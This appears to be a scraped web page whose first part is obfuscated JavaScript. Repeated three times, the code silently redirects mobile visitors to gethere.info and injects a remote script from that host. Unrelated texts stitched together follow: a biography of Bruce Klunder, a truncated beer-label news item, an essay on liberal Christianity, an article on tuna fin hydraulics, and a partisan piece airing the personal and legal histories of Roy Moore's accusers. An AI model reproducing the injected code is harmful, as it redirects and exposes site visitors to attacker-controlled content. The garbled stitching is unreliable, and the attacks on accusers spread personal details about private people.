var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}Reverend Bruce W. Klunder (July 12, 1937 – April 7, 1964[1]) was a Presbyterian minister and civil right activist, born in Colorado. He died when he was run over by a bulldozer while protesting the construction of a segregated school in Cleveland, Ohio.[2] Klunder graduated from Yale Divinity School and then went to Cleveland in 1961 as assistant executive secretary of the Student Christian Union at Western Reserve University. He quickly became involved in the city's civil rights fight.[3] He had a passionate interest in civil rights, headed the local chapter of the Congress of Racial Equality (CORE), and led a restaurant sit-in in Sewanee, Tennessee in 1962. He was married, with two young children.[2]
Death [ edit ]
Klunder frequently did picket duty, demonstrating for fair housing and against racially segregated public facilities and racial discrimination in hiring. When the Cleveland City School District decided to build new schools that would have reinforced the pattern of segregated neighborhood enrollment, Klunder took the lead in attempting to stop construction.[1]
One afternoon about 100 demonstrators threw themselves at the wheels and treads of bulldozers, power shovels, trucks and mobile concrete mixers to prevent the school from being built. A power shovel operator watched as six people—including a woman five months pregnant—leaped into a ditch and stretched out prone just beneath the shovel's jaws. Police officers tried to disperse the demonstrators, but many came out of the muck fighting. Twenty-one were arrested that day, and two were injured.[3]
The next day Klunder and about 1,000 other demonstrators returned to the school. Already awaiting them were dozens of Cleveland police officers. Moments later, Klunder, two women, and another man dashed across the school lot toward a bulldozer. Three of them flung themselves into the path of the steel treads. Klunder lay down behind the machine. The driver, John White, 33, stopped when he saw the three in front. He looked around but did not see Klunder, and he backed up. When he finally stopped the vehicle, Klunder was dead.[3]
Klunder, after he had been crushed to death
Aftermath [ edit ]
Klunder's death ignited angry confrontations that devolved into "rock-throwing, car-smashing disorders".[4] Cleveland police eventually used tear gas to disperse the crowds, which numbered more than 3,500 protesters.[4] The Plain Dealer reported that "police... were forced to use tear gas bombs to scatter crowds that would not clear out of the neighborhoods.... Thirteen persons, including eight policemen, were injured in the fighting. Twenty-six persons, including women, were arrested and jailed."[5][6]
The next day, demonstrators formed a silent memorial in front of the Board of Education Building in downtown Cleveland. Funeral services for Klunder were held at the Church of the Covenant. Eugene Carson Blake, head of the United Presbyterian Church, delivered the eulogy and 1,500 people attended.[1][7] Klunder's death polarized the Cleveland community. Some saw his death as an inevitable result of the breakdown of law and order. Others viewed his activism as an act of love.[2]
Klunder is one of the 41 individuals listed as civil rights martyrs at the national Civil Rights Memorial in Montgomery, Alabama.[8]
In 2013, the school whose construction sparked the protests was torn down and long-time Cleveland residents were interviewed about its history. Rev. E Theophilus Caviness of the Greater Abyssinia Baptist Church was at the scene in 1964; he told the Plain Dealer: "Every time I pass that school, it's sacred ground. It's a sacred location to all of us who were here and saw what the struggle was all about."[6][9]
See also [ edit ]BOSTON – The debate over the most recent Clown Shoes label for “Lubrication,” raged on Beer Advocate today after Candice Alstr├Âm, the Director of Events and Promotions for the company published a thread entitled “Done with Clownshoes.”
The opinionated rant focused on the graphics for Clown Shoes’ |
their followers tend to be stronger. As an evangelical sociologist once told me, people are drawn to beliefs that make “demands of the flesh.”
Many progressive churches, by contrast, barely demand a pinky toe. Most of those I’ve attended regularly have been happy when I merely show up, in part because their populations tend to be small and elderly. They don’t pressure me when I skip; the sermons rarely suggest it matters whether I believe the creeds we recite on Sunday mornings. (The demands that small or struggling churches do make on members tend to be organizational and financial labor, so you get the draining obligations without the spiritual investment.) By contrast, when I visit conservative churches with family or friends, they feel alive: People are there because they think it matters, for their everyday lives and for their eternal souls. The 2013 Public Religion report found that only 11 percent of religious progressives say religion was the most important thing in their lives, compared with 54 percent of religious conservatives. The Christian left would benefit from Christian right’s urgency not just with politics but with religion itself.
It can happen. For several years I was a member of a decently sized mainline church in Brooklyn that did this beautifully, through sermons grounded in scripture, not just good manners, and even by holding weeknight Bible studies, an evangelical staple. I recently started attending a Congregationalist church in New Hampshire that is similarly warm and lively, with full(ish) pews and an active choir and children’s ministry. A more prominent example is House for All Sinners and Saints, a church in Denver founded by the heavily tattooed Lutheran pastor Nadia Bolz-Weber. A best-selling author and a major draw as a speaker on the Christian conference circuit, she possesses an evangelical-esque instinct for branding. Crucially, she articulates a muscular version of liberal Christianity (a label she’s resisted) that doesn’t reduce the Bible to mere metaphor or boil down its instructions to “be nice and recycle”; at the same time, one-third of her congregation is lesbian, gay, or transgender, and the church boasts a “minister of fabulousness.”
RJ Sangosti/Denver Post via Getty Images
A missing ingredient for liberal Christians, in other words, may be something that comes more naturally to many evangelicals: zeal. With Hillary Clinton all but assured to be the Democratic standard-bearer come November, the door has not been wider in decades for an activist Christian left to play an indispensable role in progressive politics. Clinton will be able to do what has been unthinkable for decades: take on her Republican counterpart from a position of faith. The Democratic presumptive nominee boasts a more convincing Christian worldview than does the Republican, who has had trouble convincing churchgoers of his theological seriousness. Many evangelical leaders say they will never vote for Trump. Russell Moore, author and public-policy leader of the Southern Baptist Convention, the largest Protestant denomination in the U.S., has been so vocal in his disdain for Trump that the mogul added him to his long list of Twitter enemies. The so-called God gap, shorthand for the longstanding Republican advantage among the religious, was just 15 points at the end of April, with weekly churchgoers preferring Trump by 9 points and less religious voters preferring Clinton by nearly 6. In 2012, the number of points separating Mitt Romney and Barack Obama was almost 40.
Since Clinton is in little danger of losing her party’s secular left wing, she has a very real—and rare—opportunity to woo religious voters. Her impromptu campaign forays into her faith could be expanded into a robust public case for the principles of liberal Christianity. She is uniquely positioned to contend that affordable health care, a higher minimum wage, and paid family leave are moral arguments at heart (borrowing from her Democratic primary rival), and to speak about them in the language of what is still the mainstream religion of the U.S.—transforming the idea of who qualifies as a “values voter” in America.
One of the reasons the Bible remains such a vital text millennia after it was compiled is that anyone can find her beliefs both confirmed and challenged within. The New Testament includes passages that seem to defend slavery, for example, and to promote the subservient status of women. But then there is Jesus, whose radical vision is for a world in which the poor, the outcast, and the struggling are triumphant in the end:
Blessed are you who are poor,
for yours is the kingdom of God.
Blessed are you who hunger now,
for you will be satisfied.
Blessed are you who weep now,
for you will laugh....
It’s not a political platform. But could it support one? As the religious right struggles to determine its own path forward, believers on the left have the chance to form an influential band of opposition to those who have long been the loudest voices within American Christianity. The political left may not need such a contingent to win this November, but it would be foolish not to embrace one. As the manifesto of the Thanksgiving Workshop put it back in 1973, “Although the Lord calls us to defend the social and economic rights of the poor and oppressed, we have mostly remained silent.” It would be unfair to say that liberal Christians haven’t tried to make noise. But now, 43 years later, they may have their best chance to be heard.Underwater robots do a lot of neat things—take photos of underwater volcanoes, track leopard sharks, and explore shipwrecks—but they could still learn a few things from fish. Especially the rocket-fast, insanely agile tuna.
Tuna are built to cruise across oceans, usually around 2 mph. But they can crank up to 45 mph at the drop of a snack (Michael Phelps races at around 5 or 6 mph, for comparison). And tuna are able to whip after fast-turning squids or sardines. They owe their agility, in part, to a newfound hydraulic system that allows them to raise and lower some specialized fins. These sickle-shaped fins on the top and bottom of its body aren’t for thrust. At full extension, they stabilize the fish’s body at high speeds. When the fins are lowered, a tuna can turn on a dime. And as researchers report in a study published today in Science, the fact that these fins are controlled with the help of hydraulics—and not muscles alone—could teach them a lot about bringing underwater robots up to speed.
In the early days of bioinspired robotics, engineers came up with the robotuna, a machine intended to cruise as well as its scaly role model. Robots have gotten better at being in the ocean since then, but aquatic life still beats them in the power category. Fish don’t run out of batteries. They’re also never held back by fiber-optic tethers. Your average wild tuna, with help from a myriad of specialized features, maneuvers and cruises continuously for more than a decade. But roboticists may be in luck—biologists are still discovering new ways that fish function underwater.
Finding a totally new piece of the tuna’s anatomy intrigued Barbara Block, who has been studying fish at Stanford’s Hopkins Marine Station for decades. A biomimetics researcher in her lab, Vadim Pavlov, was studying tuna fins to develop tracking tags when he dissected his way to terra incognita. “We found this strange system of channels, muscles and bones," Pavlov says. "They looked very strange, and they looked like disconnected pieces of a big puzzle. We had no idea what they did."
Like any good dissector, he injected a dyed silicone gel through the network, mapping the channels in bright blue. The dye highlighted a large chamber at the base of the sickle-shaped median fins, and smaller channels nestled between the fish’s back muscles and the fin also turned blue. Color spread into the fin too, darkening separate channels around the bony rays that hold the fin up like tent poles. It looked like the tuna could contract muscles at the base of the chamber to pressurize it, squeezing fluid out into the smaller channels and elevating its fin.
There was only one way to be sure. Pavlov targeted a spot just behind the fin—probably the least leaky route to the chamber beneath—and used a syringe of saline solution to artificially pressurize the main chamber. Bingo. The fin popped right up.
That was exciting, but it still left lots of questions about how the hydraulic system actually aids tuna maneuvers. Proving something on a dead fish doesn't quite cut it.
So Block and her team analyzed high-speed video of tuna schools in 20,000 gallon research tanks, looking to see if swimming tuna indeed raise and lower their fins at the angles that Pavlov experimentally observed. Pavlov translated those measurements into a computerized fluid dynamics model. By looking at the lift and drag on a fish in 120 simulations of swimming, he found that raising those median fins stabilizes a tuna like a yacht keel—preventing rollover. In quick turns, backing off on stability sped up maneuvering.
The origins of the pressurized fluid within the channels were still a mystery. If you think of other, er, biological hydraulics, blood comes to mind, but that didn’t seem quite right in this case. “First of all the liquid itself, it’s not red and thick like blood, it’s a pinkish pale color,” says Benyamin Rosental, a Stanford immunologist that Pavlov enlisted for help. Because a pinker color probably meant more white blood cells than red ones, Rosental suspected the stuff came from the lymphatic system—known more for immune function and circulation than biomechanics. And sure enough, when he sorted and checked the hydraulic fluid’s components, he found cell types typical of the lymphatic system.
It’s not totally clear why the hydraulics and musculature work together, but it could be that using fluid is energy efficient. After all, biology is all about return on caloric investment. “Muscle is expensive to grow, expensive to maintain, and expensive to use, energetically,” says Brooke Flammang, a biomechanics researcher at Rutgers University-Newark. Fluid, on the other hand, takes less effort for mechanical returns.
It’s also possible that the lymphatic system gives fish better fin control. Engineers leverage hydraulics in situations where they need precise control and large forces. With snacks at stake, it makes sense that a tuna would want to steer well. And although autonomous undersea vehicles don’t usually hunt squid, they do have similar energy constraints. Batteries could last longer with efficient fluid-driven boosts for propulsion or steering. Robots might do well to follow those tuna into the hydraulics game.From the outset, several aspects of the Washington Post‘s decades-old accusations of Roy Moore having inappropriate relations with four young women seemed off. In addition to odd circumstances surrounding the story’s origins, the accusers themselves – and even the WaPo journalist who wrote the story – have checkered pasts and political views which some could consider ulterior motives.
If the accusations against Moore are true, he needs to immediately step aside and exit politics – as both President Trump and, oddly, Mitch McConnell have stated. Moore has vehemently denied the charges.
How did the story come together?
As Radio host Mark Levin pointed out on his show last week that there are several aspects of the case which don’t really make sense. To recap; a Washington Post reporter overheard a rumor at a Roy Moore event in Alabama about Moore sexually abusing four girls 38 years ago, then found the women, interviewed them, and the rest is history.
Levin raised the following questions:
How did the WaPo reporter know there were four women, who they were, and how to contact them?
How is it that the reporter happened to overhear a rumor about four women who don’t know each other and have never met, yet the anonymous source the WaPo reporter ran into happened to know each girl’s story and how to contact them?
, yet the anonymous source the WaPo reporter ran into happened to know each girl’s story and how to contact them? Why hasn’t any of this been reported in Moore’s 38 years in politics? And why now – a month before an important election to fill Jeff Sessions’ senate seat?
Adding to the list of questionable circumstances is the revelation that one of Moore’s accusers, Debbie Gibson, worked as a sign language interpreter for Hillary Clinton and Joe Biden, and is actively campaigning for Moore’s Democrat opponent, Doug Jones.
As New York Times bestselling author, Attorney and Law professor James Hirsen points out:
The Washington Post failed to disclose that one of Moore's accusers was a sign language interpreter for Joe Biden and is a volunteer for Moore's Democrat opponent. — James Hirsen (@thejimjams) November 10, 2017
Here’s Gibson, hard at work for Hillary:
Another Moore accuser, Leigh Corfman, has claimed “several pastors at various churches made sexual advances at her.” This 3x divorcee who has also filed for bankruptcy three times.
Purportedly Moore’s main accuser Leigh Corfman has had three divorces, filed for bankruptcy three times, and has been charged with multiple misdemeanors. Posts on Moore's FB page indicate that Corfman, has claimed several pastors at various churches made sexual advances at her. — James Hirsen (@thejimjams) November 10, 2017
The Star reports:
She says that her teenage life became increasingly reckless with drinking, drugs, boyfriends, and a suicide attempt when she was 16. As the years went on, Corfman says, she did not share her story about Moore partly because of the trouble in her life. She has had three divorces and financial problems. While living in Arizona, she and her second husband started a screen-printing business that fell into debt. They filed for bankruptcy protection three times, once in 1991 with $139,689 in unpaid claims brought by the Internal Revenue Service and other creditors, according to court records. In 2005, Corfman paid a fine for driving a boat without lights. In 2010, she was working at a convenience store when she was charged with a misdemeanor for selling beer to a minor. The charge was dismissed, court records show.
The WaPo reporter who penned the article wrote fake check, according to an 2011 Red State report
Ms. McCrummen has a rather interesting criminal history herself, as public criminal records in multiple states stretching across 4 time zones have shown.
Ms. McCrummen’s criminal history began with North Carolina Case # 1992 CR 00654, a violation of the Article 19 – False Pretenses and Cheats section of the North Carolina Criminal Code. Ms. McCrummen was convicted of a crime punishable by up to six months of imprisonment for writing a hot check that was deemed worthless.
